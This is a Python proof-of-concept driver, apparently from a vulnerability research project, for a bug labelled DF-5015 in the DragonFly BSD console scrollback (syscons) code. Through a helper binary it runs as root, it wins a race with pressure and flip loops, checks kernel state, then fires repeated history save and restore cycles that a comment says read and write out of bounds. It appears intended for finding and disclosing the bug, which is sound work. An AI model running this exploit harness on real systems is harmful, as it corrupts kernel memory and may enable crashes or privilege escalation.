#!/usr/bin/env python3
"""DF-5015 round 3: hunt -> in-kernel verify (negative tail) -> fire ->
in-kernel verify of Z-cells appearing BEFORE the history buffer."""
import sys, time
sys.path.insert(0, '/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
import os
os.chdir('/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
from drive import Mon, run_root, marker_rows, Slk

def state():
    return run_root("sysctl -n hw.df5015")

m = Mon()
slk = Slk(m, vty=0)

print("== initial state ==")
print(state())

print("== arm ==")
run_root("rm -f /tmp/DF5015_STOP")
print(run_root("/tmp/df5015 arm"))
print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & "))
print(state())

print("== pressure + flip + hunt ==")
print(run_root("su maxx -c '/tmp/df5015 pressure 4000 >/tmp/pressure.log 2>&1 &'"))
run_root("/tmp/df5015 flip 100000 3000 60 >/tmp/flip.log 2>&1 &")
deadline = time.time() + 420
attempt = found = 0
while time.time() < deadline:
    attempt += 1
    run_root("/tmp/df5015 mark 0 MARKERX")
    slk.set(True)
    m.key("end")
    shot = run_root("/tmp/df5015 shot 0")
    slk.set(False)
    rows = marker_rows(shot)
    if len(rows) >= 2:
        print(f"attempt {attempt}: MISMATCH rows {rows}")
        found = 1
        break
    if attempt % 5 == 0:
        print(f"attempt {attempt}: matched ({rows})")
if not found:
    print("HUNT FAILED")
    run_root("touch /tmp/DF5015_STOP")
    sys.exit(1)
run_root("touch /tmp/DF5015_STOP")
time.sleep(1.0)

print("== in-kernel state (expect size=2000 ysize=60) ==")
st = state()
print(st)
if "size=2000" not in st or "ysize=60" not in st:
    print("STATE UNEXPECTED -- abort")
    sys.exit(1)

print("== zprev baseline ==")
print(state())

print("== fill + fire 40 ==")
run_root("/tmp/df5015 fill 0 Z 70")
slk.set(False)
for i in range(40):
    slk.set(True)
    m.key("home")     # sc_hist_save -> append from negative tail (OOB)
    slk.set(False)    # sc_hist_restore -> negative tail again
    if i % 10 == 0:
        print(f"cycle {i}: {state()}")

print("== final state ==")
time.sleep(0.5)
print(state())
print(run_root("echo alive"))